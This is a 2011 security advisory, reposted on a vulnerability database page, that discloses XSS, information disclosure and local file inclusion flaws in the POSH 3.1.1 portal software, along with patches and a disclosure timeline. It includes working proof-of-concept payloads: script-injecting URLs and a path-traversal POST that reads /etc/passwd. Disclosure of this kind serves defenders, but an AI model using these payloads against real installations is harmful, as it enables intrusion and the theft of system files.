Lucene search
+L

POSH 3.1.1 Cross Site Scripting / Local File Inclusion

🗓️ 11 Oct 2011 00:00:00Reported by crashfrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

POSH 3.1.1 Multiple Vulnerabilities, including XSS and Local File Inclusio

Code
`# Exploit Title: POSH <= 3.1.1 Multiple Vulnerabilities  
# Date: 10/10/2011  
# Author: CrashFr  
# Software Link: http://sourceforge.net/projects/posh/  
# Version: 3.1.1  
# Tested on: Linux  
#  
  
  
//----- Advisory  
  
Program : POSH 3.1.1 and prior  
Vendor : www.portaneo.com  
Homepage : http://sourceforge.net/projects/posh/  
Discovery : 2011/09/19  
Author Contacted : 2011/09/20  
Found by : CrashFr  
This Advisory : CrashFr  
  
//----- Application description  
  
  
POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature.  
  
  
//----- Description of vulnerability  
  
  
Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1  
  
  
//----- Proof Of Concept  
  
  
--- Information disclosure ---  
- http://localhost/posh/portal/login.php?lang=fr-en  
- Vulnerability at includes/sessions.inc.php  
Replace:  
if ( preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) {  
$_SESSION['lang'] = $_GET["lang"];  
By:  
if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {  
$_SESSION['lang'] = $_GET["lang"];  
  
  
--- XSS ---  
- http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;//  
- Vulnerability at: templates/default/login.php line 42  
Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />';  
By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />';  
  
- http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E  
- Vulnerability at: templates/default/login_adminsimplified.php line 93  
Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" />  
By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" />  
- http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27  
- Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70  
Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>);  
By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>);  
Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>);  
By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>);  
  
  
--- Local File Inclusion ---  
- http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00  
POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1  
lang=../../../../../../../../../../../../../../../../etc/passwd%00  
  
- Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file)  
- Vulnerability at portal/scr_changelang.php line 67  
Replace: $_SESSION['lang']=$lang;  
By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {  
$_SESSION['lang']=$lang;  
}  
  
  
//----- Solution  
  
Apply patchs  
Upgrade POSH to 3.1.2  
  
  
//----- Vulnerability Timeline  
  
2011-09-20 - Reported to vendor  
2011-09-21 - Vendor Reply  
2011-09-25 - Vendor released POSH 3.1.2  
2011-10-10 - Vulnerability Disclosed  
  
  
//----- Credits  
  
  
http://www.sysdream.com  
  
crashfr at sysdream dot com  
  
  
//----- Greetings  
  
HZV (http://www.hackerzvoice.net)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation